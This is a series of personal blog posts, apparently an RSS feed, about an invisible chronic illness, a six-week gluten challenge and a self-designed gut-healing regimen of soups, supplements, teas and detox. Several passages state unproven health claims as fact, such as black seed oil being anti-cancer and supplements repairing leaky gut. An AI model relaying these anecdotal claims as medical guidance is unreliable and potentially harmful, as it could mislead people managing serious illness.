1.  I have the group of people who have seen me at my worst and therefore don’t ask questions. Seeing is believing.

2.I have the group of people who have seen me in alright terms, have heard about my illness and have some questions about it. 

3.Then I have the people who only see me when I am in good terms, on good days, have heard about my illness and have many questions about it.

Usually group 3’s questions are coated with assumptions such as ‘if the doctors can’t find what it is, maybe its all in her head’. This group has been the toughest on my sanity. Their attitude and general demeanor towards my illness makes me feel as though I needed to prove my illness to them, perhaps if they see me at my worst they will understand the severity of my situation.

 

Mind Over Matter?

Perhaps I wouldn’t have minded group 3’s thoughts if those thoughts did not turn into conversation pieces. It doesn’t really bother me if people talk among themselves regarding my illness. I have no control over that.

What bothers me, is when the conversations are directed to me … as advice. 

Usually as a mind over matter topic.

“It’s all in your head. You ought to just tell your mind you are am not sick and see what happens”…

 

I suppose if I tell my mind that there is nothing wrong with me, the allergies, flare-ups, brain-inflammation, bronchitis, asthma attacks, swollen glands, aching joints, nausea, vomiting, fatigue, seizures, panic attacks, sharp shooting flutterings and everything else will miraculously go away.

 

Perhaps I would not have minded their ‘advice’ either, had it not wounded my self-regard and tested my sanity. Maybe it would have been easier to forgive their conversations had they not tried to convince me that I am truly at fault for understanding that I am ill, and making me feel like  I need to prove something to them. I would have forgiven their words much sooner had the words not made me question my own mental capacity, doubted my mind, mistrusted my body and learned to listen to their words rather than the very loud cries for help my body screams.

 

What People Need To Understand About Invisible Chronic Illness

What most people need to understand is that someone with an invisible chronic illness has no control over their pains, their reactions to things (environment or otherwise) or the timing of an attack (I’ve had seizures at some very unlikely times and places).

What we have control over is WHAT we do about it. What we choose to do about that seizure that happens at work, that full body inflammation that happens at a store, that mysterious 105 degree fever that popped out of no where while hanging out with friends. 

When the event happens or starts to happen, we have a choice on how to deal with it, and most of the time run a fast cost analysis in our heads to see what the best course of action would be. We need to maintain the lowest level of physical damage and preserve the least amount of pain. 

For instance, sometimes when I have a seizure, it starts with everything becoming blurry and I get extremely dizzy whether I am sitting or standing. Then my body becomes extremely heavy and difficult to move, then come gentle convulsions that increase in severity as the seconds progress, sharp shooting pains all across my brain and body, along with difficulty speaking, followed by full body paralysis. (This is not what all my seizures look like, but some look like this)

I know that I need to have someone help me lay on my right side and the convulsions will subside and if no one is there, and laying down isn’t a safe choice, I remain as I am to prevent falling and hitting my head. With time I will regain control over my limbs, speech and everything else. I have not studied whether this is the correct procedure, but it works for me. I usually knock out soon after the convulsions stop, and when I wake up I have extreme fatigue for a few days. A big seizure usually means that if I don’t rest, take it easy, and take something to calm my mind, a few other seizures are lurking in the corridor. 

The Choices I Make & The Things I Control

I can choose what to do when I face an attack, but I have no control over the fact that I have an invisible chronic illness or when a severe attack will occur.

For me, everything has a trigger, but as much as I would like to know and  understand all my triggers. I don’t.

So most times, when the attacks happen, whether its a seizure, a flare up or whatever else, my choice is to deal with them in the moment they happen as best as I can. Then I think over the situation I was in when the attack happened and I log that as a possible trigger. With that information,  I become vigilant and careful not to have another attack when those similar conditions arise. 

This much I can control, but whether I have an invisible illness that causes seizures and a host of other painful symptoms is not something I can control.

 

Realizations That Matter

I have come to realize that as much as I want my illness to matter to people, and for them to understand it, it doesn’t. What matters is that I understand my illness and accept it as it is. I do not need to prove to anyone that I have an illness even if doctors can’t figure it out (at the moment), and I keep getting rushed to the hospital with various illnesses so often. 

Accepting my illness is a gift on it’s own, and once I learned to accept it, I realized that whether people acknowledge it’s existence or not, doesn’t really matter. What matters is the reality I face when an attack happens and I have observed enough to know what to do about it. 

What matters the most is that I know I have an invisible illness, the people that matter know that I have an invisible illness and when push comes to shove, my body knows that I will do what I can to help it re-establish an equilibrium when an attack occurs.

 

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]]> 939 My Battle Recovering from Gluten: Week 3+4 (Finding My Gut Healing Regimen) https://blissfullyhealing.com/finding-my-healing-regimen/ Thu, 31 May 2018 01:36:27 +0000 https://blissfullyhealing.com/?p=857 I realized this week that this journey isn’t an easy one.  But, the wealth of information I recalled in week 2, and the amount of information I read since then, gave me a spring in my step by week 4. …

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]]> I realized this week that this journey isn’t an easy one. 

But, the wealth of information I recalled in week 2, and the amount of information I read since then, gave me a spring in my step by week 4. Simply put, my perspectives changed. I realized that I have the power to change my health and thus my life and I am going to do it!

 

By the end of week three, I had gone to the library and checked out 14 books, made my homemade jello,  was taking a bath every other day, had cut everything out except  meat, fish, shrimp, peas and soup (cow feet and goat meat), and had ordered the supplements that I used last time in addition to a few new ones. 

…And I was starting to feel the difference! (with some minor setbacks here and there)

 

Photo by Christian Holzinger on Unsplash
Photo by Christian Holzinger on Unsplash

 

Personal experience:

To fully heal my damaged gut and recover my health, I decided to take a few things from last year’s healing regimen, and add some new healing tools supported by research and known to heal the gut.

 I realized through reading that even though I had good results from last year’s plan, the plan was not as efficient as it could have been. Therefore, I decided to come up with a new plan and tweak it as needed.

 

 

Items added to the new gut healing regimen:

 

1.Changed mindset:

Last year:

The biggest difference between last year and this year is my perspective.

In comparison to this year, last year seems like I was in a daze. Just moving from moment to moment trying to find something, anything that will make the pain stop and make everything go away.  I was also much more impatient and did not have a bigger vision for my health.

I was struggling with the concept of being ill for the rest of my life. Basically, I was struggling with the idea that I will never be ‘normal’, I will never be like everyone else, eat whatever I want, when I want, how I want.

I will never be able to use what others use without caution, or do what others do without caution. Basically, I was feeling robbed of choices.

I have always had to be careful about everything. Things I see and hear affect my brain and mood, things I eat affect my health, things I use on my skin affect my general wellbeing etc etc. So I have always had to proceed with caution, and this fact was very difficult for me to grasp.

 

This year:

This year is different!

 I am going for a lot more than surviving, I want to thrive!

I want to heal, and accept the definition of my healing to mean that I will have to do things differently, make my own beauty, hygiene, and cleaning products, come up with home-made recipes that are both delicious and kind to my delicate system etc. Basically, I am simply making a choice to make my life a journey of healing and to foster meaning through intentional living.  

This is incredible! I love that I have come to this realization.

My body and mind have always pulled me to be better because of the limitations they set for me and rather than fighting it, I am now embracing it. This is a profound gift.

 

2.Soup

Last year I did not put too much focus on soup, I vaguely knew of bone broth benefits but it never occurred to me to add it into the regimen. This year I am adding two types of soup:

 

1.Makanyagio (Cow feet soup):

Ahhhhh yum, cow feet soup. This is a delicacy in Kenya and my mom has the best recipe. Every year on Eid days(days of celebration in the Islamic tradition), my mom’s soup is heartily anticipated by everyone. Never have we had the problem of having makanyagio leftovers.

 

Makanyagio, literally means, “that which steps”.

So basically, we are making soup from the bones and cartilage of the feet of the cow.

The soup is extremely nutritious as it is a form of bone broth, only in addition to the bone and marrow benefits, it is also extremely gelatinous and has the full benefits of gelatin which has peptides, proteins and L-glutamine that help heal the gut.

 

2.Goat meat soup

Technically this can be categorized as bone broth as I make the soup from goat meat that have bones in them, remove the meat and only consume the broth.

Before starting the gluten challenge, my diet consisted of  goat meat soup and rice, along with various proteins on the side (organs, fish, shrimp) as I was slowly introducing fruits and vegetables into my system. My health was not 100%, but I was getting there.

So I decided to keep this soup in my healing regimen, even though I have to cut out a lot of the ingredients I used to make the soup. (I cut out potatoes, spinach, carrots, kale, bellpeppers).

 

3.L-Glutamine:

L-glutamin is an amino acid that works wonders in the body and specifically in repairing a damaged gut. In leaky gut, it helps to repair the damaged mucosal membrane, and aids in the re-tightening of the open junctions that cause leaky gut.

L-glutamine naturally exists in gelatin, therefore I have plenty from makanyagio soup and the home made jello, but on days when I make goat meat broth, I add two scoops of l-glutamine powder to the soup.

 

4.A Good Probiotic:

When I took anti-microbials for a month to eliminate SIBO, along with my other unwelcome gut guests, taking a probiotic every night was part of the protocol. Although when things got worse instead of better after the treatment, I stopped taking probiotics and haven’t taken any since then.

With extensive reading and research, I discovered that a good probiotic with the right strains will make a very big difference in healing my gut. My damaged gut has an imbalance of good/bad bacteria, otherwise known as gut dysbiosis. Therefore, an introduction of good bacteria that focus on repairing and recolonizing the gut will make a significant difference in my healing.

I spent some time researching the types of bacteria beneficial for healing the gut and came up with a hearty list that I will share in a post soon (stay tuned =) ).

I also found a probiotic, Floratrex, that has a good number of those probiotics. It has 23 strains in 50 billion CFU, is made out of vegetable capsules and is gluten free. I decided to go for it and see how it works for me.

 

 

5.Aloe Vera Gel:

Aloe vera gel has excellent beauty and health benefits. In regards to healing the gut, it binds to receptor sites in the mucosal lining that form a barrier and bind the gut, therefore helping repair leaky gut.

Last year I used aloe vera juice and it occasionally gave me heart burn, so this year I decided to switch to the gel as it is more cooling and my body reacts better to it.

 

 

6.Black seed oil:

Like many of the things in this list, black seed oil also has many health and beauty benefits. It is anti-bacterial, anti-fungal, anti-inflammatory, anti-ulcer , anti-diuretic, anti-cancer, gastroprotective, and an antioxidant among other things.

I started using black seed oil half way through my healing journey last year, and decided to add it back to my regimen this year.

 

7.Teas:

Last year I put a lot of focus on turmeric, ginger and fennel seed tea. This year, I decided to branch out a little bit and add other teas that can assist in healing my gut. I added licorice root tea, peppermint tea, and dandelion tea.

 

8. Vitamins:

Iron, Calcium, B-12, Vitamin-D, Magnesium and Potassium

These are all essential  vitamins that get depleted and deficient due to gut dysbiosis and leaky gut. The various vitamins are ingested by opportunistic organisms, used for other purposes by the immune system rather than replenish the body, and in some cases, such as in vitamin D, their deficiency actually contribute to leaky gut.

I know that I have a deficiency in these vitamins, but I never attributed them to gut health, or the lack thereof. When I found out that their presence would help heal my gut lining, maintain a healthy balance of my intestinal microbiome, assist my mood, fatigue and mind health, among many other health benefits, I added them to my healing regimen.

 

 

***

 

I realize now that it’s all trial and error and that is what it has been for doctors through my life. With that realization and the mentality that knowledge is power, I have a new outlook to healing and recovering from a lifetime of chronic health issues.

This time, I want to heal rather than medicate my gut, and to do that I needed to consider my past healing routines, read and understand my illnesses and find natural solutions that offer true, genuine healing as opposed to numbing my symptoms.

So I spent the last two weeks with my head in books and articles, my nose in my laptop screen and my creative hat on in the kitchen making homemade bone broths, jello and healing recipes. Along with seeking knowledge and making recipes comes taking supplements, hydrating, detoxifying and giving my body time and space to heal.

I have to say that this year, I am truly excited for my healing journey!

 

Related Posts:

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]]> 857 My Battle Recovering from Gluten: Week 2 (Reconstructing Past Remedies) https://blissfullyhealing.com/my-battle-recovering-from-gluten-week-2/ Sat, 26 May 2018 17:57:34 +0000 https://blissfullyhealing.com/?p=827 I needed to reconstruct what I had done when my gut was in full flare up about a year ago. Finding a solution to the problem that I seemed to have created with my own hands became a priority. Basically, …

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]]> I needed to reconstruct what I had done when my gut was in full flare up about a year ago. Finding a solution to the problem that I seemed to have created with my own hands became a priority. Basically, I needed to rebuild the Rome that I had worked so hard to build for almost a year and definitely destroyed in a day. 

I had to remember what I had done to heal my gut the first time around in 2017. I had to. Because without those memories, I had nothing but a damaged gut and an endless offer of damaging pharmaceutical drugs prescribed by my doctors.

 

Photo by ALP STUDIO on Unsplash

 

Personal experience:

The symptoms now are very similar to the symptoms last time, gastritis, heartburn, lots of burping, bloating, sharp stabbing pains in my gut, along with the other symptoms I wrote about in the gluten series and week 1 of gluten recovery. 

So, I decided to really sit and analyze the first month I started healing my gut in 2017, and analyze everything, no matter how small it seemed.

As I would recall what I had done before, I would try it instantly and add it to my healing regimen in a way or another.

 

My 2017 Healing Regimen:

Patience:

I realized that it all took time.

In hindsight, 10 months may not seem like much, but they are. I then remembered that the first two months were the hardest months. Because like now, I could not eat anything at all and I needed to completely change my diet to find one that my gut agreed to, and that was the first step.

 

Protein diet:

The inferno would rise any time I ate, but what I ate mattered. Basically, anything that was not, meat (organs in specific – kidney, liver, heart), fish or shrimp would cause a very big problem. Being that I had developed an allergy to most fruits and vegetables (my naturopathic doctor ran a food allergy test), I focused on what did not hurt.

 

Lucky for me, that decision turned into a very healing one. By eating only what my gut accepted, I was giving it time to heal. The protein diet was my elimination diet. Since everything else hurt, I only ate organ meats, fish, shrimp, fermented vegetables, homemade jello and occasionally included coconut peas to change the variety of my food.

I cooked with coconut oil and ghee and mostly kept my foods simple.

I also replaced onions and garlic with the green part of scallions/green onion to add a little onion-y flavor to my foods.

 

Fresh Turmeric and Fennel Seed Tea:

At the peak of my pain in 2017, I could barely eat anything and the pains were as ghastly as they are now. I did not know what to do, even though I had been working with a naturopathic doctor for almost 3-4 months.

 

Luckily, my mom has an incredible friend in Malindi, Kenya who is very good with herbs. My mom explained my pains and agony, her friend told her that we should buy fresh turmeric, blend it like we do ginger for our ginger tea, then every morning, put the turmeric in water and let it boil and at its boiling point, add the fennel seed and turn off the stove. Then drink this first thing in the morning on an empty stomach.

 

Whoa! This helped me more than I could have possibly imagined. In 2 weeks, I was not feeling the grave nature of a burning inferno every time I ate. But I still had to keep up with the protein diet.

 

I had help from supplements:

Even though I stopped seeing my naturopathic doctor when everything got worse instead of better, I realized that some of the natural prescriptions she had prescribed for me were still making a big difference in my gut.

 

*Iberogast: 

  • Helped with heartburn, indigestion, nausea, and other gut symptoms.
  • Because my motility (ability for food to move through my digestive tract) was slow, I needed help moving things along so the bacteria would not have a feast every time I ate, and this helped with that too!

 

*Biogenesis, Intestinal Repair Capsules: (Vegetable capsules)

These were a big help in helping me repair my gut. So as soon as I remembered that this was part of my healing regimen the year before, I ordered them.

 

*Liver Detox: (Vegetable Capsules)

I remembered that when I was taking anti-microbials, liver detox was part of the healing regimen prescribed by my naturopathic doctor. Even after I finished the anti-microbials and everything fell off the cliff with my gut and I stopped seeing my naturopathic doctor, I still continued taking them to help my body.

I remembered that I took them, along with black seed oil, omega-3 fish oils, vitamin-D, and occasionally oregano oil, during a full body flare up and when my inflammation was very bad.

 

*Digestive enzymes: (Vegetable Capsules)

I stopped taking towards the end of  2017 when my gut had significantly improved. My stomach no longer needed help digesting the foods that I was eating.

But during week 1 of the gluten challenge, I realized that I needed help,  I was not digesting food properly anymore, so I bought some and started using them again. I stopped taking them again in week 3 of the challenge and resumed immediately after the endoscopy/biopsy.

 

 

Remembering this information was like remembering where I had put a massive stash of gold. I was simply jumping for joy. For a good deal of time these memories were all I was yapping about. Along with actually jumping up and down for joy.

 

Detox:

I remembered that when I started taking the antimicrobials prescribed by my ND, I increased my detox by a ten fold. 

 

Detox Bath:

I took a detox bath everyday, or every two days depending on how I felt.

Steam Room and Sauna:

My gym at the time had a steam room and sauna which my mom and I went to every saturday morning, to detox, restore and relax.

Aloe Vera Juice:

I had aloe vera juice and warm water every morning after the turmeric and fennel seed tea.

Liver Detox:

I was taking a liver detox to help eliminate the toxins in my system that I had developed over time and that I was accumulating with the SIBO and the treatments.

 

Gentle Exercise:

Yoga:

I have a gentle morning yoga routine that I stuck to through my healing journey in 2017. Until my body recovered enough to be able to do rigorous exercise. Gentle stretches linked to deep breathing definitely helped my mood and made my body feel good. My daily yoga routine made a very big difference in how I felt throughout the days.

Walk:

Even though my body fully hurt from major inflammation and malnutrition, I still walked about an hour a day. 20 minutes to the bus to and from work and about 15-20 minutes during my lunch break.

 

Chiropractor:

I started seeing a chiropractor weekly when things got really bad in the beginning of 2017. This was before I realized that my gut was causing all the problems in my body.

Things were so bad, that I needed help getting out of bed.

There was so much pain all over my body, and specifically sharp shooting pain in my spine. So on bad days, I would wake up motionless, full of pain and would need to call my mom to help me out of bed.

 

The chiropractor informed me that my body was extremely inflamed and I needed to start focusing on an anti-inflammatory diet. I later started seeing a naturopathic doctor who diagnosed me with SIBO, candida overgrowth, and hpylori, and we started working on healing the gut.

 

Changed my shoes:

I loooveeee *vibram 5 finger shoes. They were my only pair of shoes for a little while, until I found out the hard way that they were causing additional back pain because they do not offer much support.

Basically, as I struck my heel into the ground in stride, the shock would be absorbed into my body (specifically my back), rather than the sole of the shoe(vibrams don’t have very thick soles).  It completely broke my heart to stop wearing them.

Although from what I understand, once my back gets better and I move away from malnutrition (causes a lot of spinal pain), I can wear them again on soft surfaces( basically sand), hiking, running on the beach, etc. But I must avoid wearing them on concrete and other hard surfaces.

Bummer.

I really loved those shoes. I even went to a wedding in them once 🤭.

 

*Amazon affiliate links.

 

Related Posts:

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]]> 827 My Battle Recovering From Gluten: Week 1 https://blissfullyhealing.com/my-battle-recovering-from-gluten-week-1/ Fri, 25 May 2018 16:43:22 +0000 https://blissfullyhealing.com/?p=806 6 weeks of gluten, 3 times a day, is a lot of gluten to ingest for anyone, let alone someone who struggles with it. When my gastroenterologist told me that I needed to eat gluten 3 times a day for …

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]]> 6 weeks of gluten, 3 times a day, is a lot of gluten to ingest for anyone, let alone someone who struggles with it.

When my gastroenterologist told me that I needed to eat gluten 3 times a day for 6 weeks, I was dumb founded for a little while, before I spoke again. My body froze with anticipation of the pain it once experienced on a daily basis before I removed gluten from my system.

All I could think was, 10 months of hard work down the drain, all in the name of finding a diagnosis.

 

Photo by Velizar Ivanov on Unsplash

Personal experience:

Even though I had my doubts before starting my gluten challenge, I did it anyway. I was determined to make it through the six weeks in hopes that, after the endoscopy/biopsy, the doctor would say, “you have …” ( I was rooting for celiac disease). And I would say “YAY!!! I know what I have now,” and start my healing journey. I finished the gluten challenge 3 weeks ago, did my endoscopy and biopsy and have been struggling to heal ever since.

 

I did not clearly remember the full scope of damage gluten had done before I started healing my gut last year and had completely forgotten how long it took me to (kind of) heal my gut… 10 months… kind of, because in March before I started eating gluten again, I was still in recovery mode, eating mainly soups and slowly introducing foods back into my system. BUT… it had taken me 10 months to do very difficult, challenging, and disciplined work that was all erased by a 6 week doctor prescribed order.

 

Day  1 after endoscopy:

This week was extremely hard.

The first meal I had after the endoscopy torched my gut, I was in wrecked pain, an inferno in my gut, heartburn, nausea, immediate bloating, burping, light-headedness, fatigue and tears. The realization of what I had just done over the last 6 weeks hit and I completely broke down. I could no longer eat what I had been eating before the challenge, and I could not remember what I had done to heal the first time around… so what could I eat now?

 

Day 2:

I had to try to jog my memory back to a year ago, and figure out what I had done to heal my gut in 2017. The symptoms I had experienced then were all back. The burning sensation when trying to eat, the lack of appetite because of all the pain caused by eating, the nausea, indigestion, bloating, constipation, lightheartedness, dizziness and extreme fatigue that was associated with food made it very difficult to want to eat.

 

Day 3:

My stomach and esophagus, had turned into a blazing inferno and I did not know what to do about it. I was stuck, feeling very hopeless in the wake of the damage I had just finished doing to myself. I was feeling stuck, because I knew that doctors would not help me heal this, (they failed last time (I was given a boatload of prescriptions to muzzle the pain), what would make it different this time?) and I could not remember what I had done in the beginning to heal the gut in the first place. All I could remember was the last few months before the challenge.

 I remembered that I ate soup and rice, plain meat and rice, organs and rice, fish and rice and was slowly introducing soft vegetables( baby bellpeppers, spinach, kale and potatoes into my diet ). All I could remember was I was doing well with that, and perhaps I should start there.

Day 4:

The diet I was on before the gluten challenge was a complete fail. All that food was causing A LOT of pain and I could not figure out what to eat.

Day 5-7:

I spent these days trying to jog my memory and remember what I had done in 2017 to heal my gut in the first place. My stomach was still a big problem, food was still very difficult to eat and the rest of my body and mind just weren’t working with me.

 

***

For some reason I assumed that dropping gluten would automatically make my body feel better, and I would be where I was 6 weeks before… but … noooooo. My body was in a horrible state. I was still in full inflammation mode, fatigue, pain, nausea… the whole nine yards. And eating food hurt!

 

Inflammation:

Paaaaiiinnn.

I was still in full body inflammation, feeling the pain and pangs in every bit of my body including my brain. (I have not written an article or done any significant blogging work in about 6 weeks – last 3 weeks of gluten challenge and the last 3 weeks trying to find a healing regimen). It has been a tough few weeks.

 

Depression:

Yup. Still there.

With the realization that I was in a really horrible health condition, (and I willingly did that to myself), I was finding it very hard to find meaning in much. I wanted to give up and would constantly have to re-encourage myself to find healing for myself.

 

Anxiety:

This was the beginning of a new era for anxiety. 2-3 anxiety attacks per day, sometimes even in my sleep. The full scope of fear and panic I used to experience before cutting out gluten was back. I was struggling and I didn’t know what to do or how to help myself, which only made me panic even more.

This didn’t change much until week three when I started a gut healing regimen that worked.

 

Brain fog:

Everything was a haze. Reading, writing, and simply concentrating was a torturous task and nothing seemed important enough to warrant my attention. I was simply in shambles.

 

Forgetfulness and Confusion:

I forgot everything! Everything! Including sometimes where I was, or what I was doing. And this brought about a whole lot of fear, confusion and panic.

 

Gastritis and Heartburn:

Ohhhhhh. It really hurt to eat. I basically stopped eating because of the amount of pain it caused. Even soup hurt.

 

Related posts:

 

 

 

The post My Battle Recovering From Gluten: Week 1 appeared first on Blissfully Healing.

]]> 806 My Gluten Challenge Week 6: Hitting Rock Bottom https://blissfullyhealing.com/my-gluten-challenge-week-6-hitting-rock-bottom/ Tue, 15 May 2018 15:39:27 +0000 https://blissfullyhealing.com/?p=788 ITS THE LAST WEEK!!!!! Oh, Thank God it’s the last week. I am beyond grateful for being able to get to this stage of this very painful journey and making it. This last week has been a nightmare, along with …

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]]> ITS THE LAST WEEK!!!!! Oh, Thank God it’s the last week.

I am beyond grateful for being able to get to this stage of this very painful journey and making it.

This last week has been a nightmare, along with actual nightmares.

1.Extreme fatigue:

Oh my…

 

I . . . am . . . tired.

 

So . . . very . . . very . . . very . . . very . . . very . . . tired.

 

Last week I wrote about how exhausted I was, but that was nothing compared to how I feel right now. I just can’t. I can’t. Can’t.

Everything requires calculation. The thought of leaving the bed to walk to the kitchen or restroom, makes me want to cry. There is no energy for anything. Top that with extreme constant pain… life seems very meaningless right now.

Ohhh a shower:

I need to rest from a shower.

A shower takes absolutely everything out of me. Then after a shower, trying to figure out what to wear is like mental torture.

 

2.Extreme brain fog:

My mind is a mess.

Everything seems so hazy and ungrounded. I am extremely forgetful, constantly confused and my brain can’t process anything. At all.  

I. just. can’t. think. properly. Or think at all.

Having a conversation with me right now could be very irritating. I can’t formulate sentences very efficiently or properly and, it takes me forever to think of words.

Mom’s car: the red thingy with four round things under it

 

Ohhh driving:

I am having such a hard time driving. I used to be very sharp with changing lanes, gauging my speed, and observing what is around me. For instance, right now it takes me forever to change a lane. I just can’t seem to properly analyze how close or far a car is. Which incites confusion and fear.

Ohhhh and parking… I am parking worse than my mom right now. That says A LOT.

 

3.Not Sleeping, Nightmares and Fear:

I am not sleeping properly.

This was a problem in week one, then started again when I stopped helping my gut in week 5. Sleep just doesn’t want to come and when it does, it is extremely restless.

Then, I wake up a million times through the night, from nightmares and to use the restroom.

The nightmares induce so much fear within sleep, which completely ruin the flow of the day. Starting with fear, anxiety, exhaustion and pain unquestionably leads to a very unproductive day. Being that I am also having a really hard time meditating, and haven’t done so in about 3 weeks, setting my mind right just isn’t happening.

 

4.Sharp pains in my gut:

Very similar to week one, only this week and last week’s pain levels were surreal.

There are different pains:

  1. The sharp pain that feels like I have an army of angry ninjas just chopping their way through my stomach.
  2. The blazing inferno that doesn’t seem to have an extinguisher strong enough to subdue it.
  3. The knot that makes me feel like I’m growing a rock in my stomach.

 

5.Helllooo Seizure:

I was trying so hard not to get a seizure during these 6 weeks and three days before my procedure, I did.

So close…

I don’t even know what happened, or why it happened, it just happened.

 

6.Skin and teeth sensitivities:

Drinking water, irregardless of temperature is not fun…

and…

hot or cold water on my skin is definitely not fun…

Let’s just say, nothing about this week is fun.

 

7.Slow shooting intense back pains:

Oooohhhhh.. Hmmm. ummmmmmmmm.. Yeah.

I don’t have words for this pain.

Through the 6 weeks I had sporadic pains here and there and the shooting pains were, well, shooting. They were fast and at times I would recognize the pain after the fact.

These are slow and torturous.

They start from the lower back and slowly pull with increased intensity towards my neck.

S.l.o.w  a.n.d  p.a.i.n.f.u.l.

Slow and intense enough to make you have involuntary screams that correspond to the shooting pain.

…..

I just don’t have words for this pain.

 

8.Inflamed bladder / painful urination:

This was a problem that began in the beginning of this journey, but wasn’t bad enough until week 5. Now, hahahahah. Hmmmmmm. Now, I make about a million trips to the restroom and about a drop per visit. And like last week, oh! the pain.

 

9.Irritation:

The irritation I mentioned in week 4 was child’s play compared to this week. I never realized how much diet can affect mood. I had ideas that diet had something to do with mood and hormones, but wwwhhhoooaaa.

 

10.Anxiety & Depression:

No words.

***

I’m excited that this journey is finally over. I really am.

Before I stopped eating gluten early last year, I did not eat that much gluten anyway. I didn’t like the way breads and pastries made me feel so I reduced eating them, but I still ate farina, barley and other forms of gluten. As my health got worse, I eventually completely cut all forms of gluten out and started feeling significantly better.

 

I must say, eating 3 servings of gluten per day as required by the gluten challenge, is A LOT of gluten. 

 

This challenge was like putting myself in a pressure cooker and putting it on high heat. The amount of gluten I was required to eat and ate, was a lot more than a regular diet with gluten, which explains a lot about why my symptoms progressed so quickly.

 

As painful as this journey was, it has been incredible to see just how much damage gluten does to my health and the opportunity to document it has been incredible for my own sanity. It ‘s a definite win to know that my illness is not “all in my head” as many have suggested.

 

UP NEXT: Upper GI endoscopy and biopsy =).

 

Related Posts:

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